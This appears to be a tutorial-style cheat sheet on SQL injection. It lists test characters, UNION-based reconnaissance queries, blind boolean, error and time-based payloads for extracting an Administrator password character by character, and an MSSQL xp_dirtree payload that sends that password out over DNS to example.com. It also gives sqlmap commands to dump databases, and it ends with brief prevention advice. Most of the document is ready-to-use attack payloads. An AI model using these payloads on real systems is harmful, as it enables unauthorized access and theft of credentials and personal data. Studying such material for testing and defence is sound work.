SQL injection

What is SQL injection

A vulnerability that allows an attacker to interfere with the queries that an application makes to its database cause the applications don’t handle raw user input and validate queries. This attacks can modify or delete this data or perform a denial-of-service attack, causing persistent changes to the application’s content or behavior.

A successful SQL injection attack can result in unauthorized access to sensitive data, such as passwords, credit card details, or personal user information.

Common SQL injection arises location

In UPDATE statements, within the updated values or the WHERE clause.
In INSERT statements, within the inserted values.
In SELECT statements, within the table or column name.
In SELECT statements, within the ORDER BY clause.

Location on product

Login or register form.
Cookie.
ID field of user, product, etc. on URL.

Type of SQL injection attack

In-band SQLi (data is returned to the attacker in the same HTTP response as the SQL query)
Error-based SQLi: error messages returned by the web application contain sensitive data
Union-based SQLi: using union query to retrieve data from other tables
Inferential (Blind) SQLi (data is not returned to the attacker in the same HTTP response as the SQL query)
Boolean-based SQLi: using boolean logic to infer the results of SQL queries
Time-based SQLi: using time delays to infer the results of SQL queries
Out-of-band SQLi (DNS or HTTP requests to transfer data to an attacker-controlled server)

How to detect SQL injection

Can be detected manually by using a systematic set of tests against every entry point in the application. This typically involves:

Single quote character ' and looking for errors or other anomalies.
SQL-specific syntax that evaluates to the base (original) value of the entry point, and to a different value, and looking for systematic differences in the resulting application responses.
Boolean conditions such as OR 1=1 and OR 1=2, and looking for differences in the application’s responses.
Specific payloads designed to trigger time delays for differences in the time taken to respond.
OAST payloads designed to trigger an out-of-band network interaction for any resulting interactions.

Techniques for detecting and exploiting SQL injection work differently on different platforms:

Syntax for string concatenation.
Comments.
Batched (or stacked) queries.
Platform-specific APIs.
Error messages.

Test injection checkpoint

Entry point

Simple

    '
    %27
    "
    %22
    #
    %23
    ;
    %3B
    )
    Wildcard (*)
    &apos;  # required for XML content

Multiple encoding

    %%2727
    %25%27

Merging characters

    `+HERP
    '||'DERP
    '+'herp
    ' 'DERP
    '%20'HERP
    '%2B'HERP

Logic testing

    page.asp?id=1 or 1=1 (true)
    page.asp?id=1' or 1=1 (true)
    page.asp?id=1' or '1'='1 (true)
    page.asp?id=1" or 1=1 (true)
    page.asp?id=1 and 1=2 (false)

Reconnaissance

Note This is some payload of MySQL, others can be different.

Get information of table

Get all tables name:

    SELECT * FROM information_schema.tables -- NonOracle
    SELECT * FROM all_tables -- Oracle 

Get information of column

Detect number of columns:

    ' ORDER BY 1--
    ' ORDER BY 2--
    ' ORDER BY 3--
    ...

    ' UNION SELECT NULL--
    ' UNION SELECT NULL,NULL--
    ' UNION SELECT NULL,NULL,NULL--
    ...

Finding columns with a useful data type:

    ' UNION SELECT 'a',NULL,NULL,NULL--
    ' UNION SELECT NULL,'a',NULL,NULL--
    ' UNION SELECT NULL,NULL,'a',NULL--
    ' UNION SELECT NULL,NULL,NULL,'a'--

Get all columns name in table:

    SELECT * FROM information_schema.columns WHERE table_name = 'table_name' -- NonOracle
    SELECT * FROM all_tab_columns WHERE table_name = 'table_name' -- Oracle

Retrieving multiple values within a single column

    ' UNION SELECT username || '~' || password FROM users--

The **double-pipe sequence ** which is a string concatenation operator on Oracle. The injected query concatenates together the values of the username and password fields, separated by the ~ character. The result from the query is username~password

Get version of database

    ' UNION SELECT @@version,NULL,NULL,NULL--

Database type	Query
Microsoft, MySQL	SELECT @@version
Oracle	SELECT * FROM v$version
PostgreSQL	SELECT version()

Condition response

Check with codition payload like xyz' AND '1'='1 (true) or xyz' AND '1'='2 (false)

Guess the information with return code while brute force:

    xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 'a

Error-based

Using this similar payload with the second input, it evaluates to 1/0, which causes a divide-by-zero error.:

    xyz' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='a (false)
    xyz' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a (true)

Retrieving data in the way already described, by systematically testing one character at a time:

    xyz' AND (SELECT CASE WHEN (Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') THEN 1/0 ELSE 'a' END FROM Users)='a

Time-based

Trigger time delay when the query is true or false

    '; IF (1=2) WAITFOR DELAY '0:0:10'-- (false)
    '; IF (1=1) WAITFOR DELAY '0:0:10'-- (true)

Then using technique same above to brute force

    '; IF (SELECT COUNT(Username) FROM Users WHERE Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') = 1 WAITFOR DELAY '0:0:{delay}'--

Out-of-band

Triggering out-of-band network interactions to an own system, typically the most effective is DNS (domain name service)

    '; declare @p varchar(1024);set @p=(SELECT password FROM users WHERE username='Administrator');exec('master..xp_dirtree "//'+@p+'.example.com/a"')--

Automation with SQLmap

First scan

Scanning if this target has any sql vulnerables

    sqlmap –u "https://example.com?test=query"

Get information of database

To get all database

    sqlmap –u "https://example.com?test=query" –dbs

To get all tables

    sqlmap -u"https://example.com?test=query" --tables -D <database-name>

To get all columns

    sqlmap -u"https:example.com?test=query" --columns -D <database-name> -T <table-name>

To dump all data in database

    sqlmap -u"https://example.com?test=query" --dump -D <database-name> -T <table-name>

How to prevent

Using parameterized queries (also known as prepared statements) with safe function to limit input instead of string concatenation within the query.
Handle user input to remove malicious payload or escape special character, ensure that user input cannot interfere with the structure of the intended SQL query.
Handle status query to prevent system from returning error messages.
Handle error messages without default system debug error messages.
There are some safe function or framework able to mitigate this attacks.

Reference

Share on

Twitter Facebook LinkedIn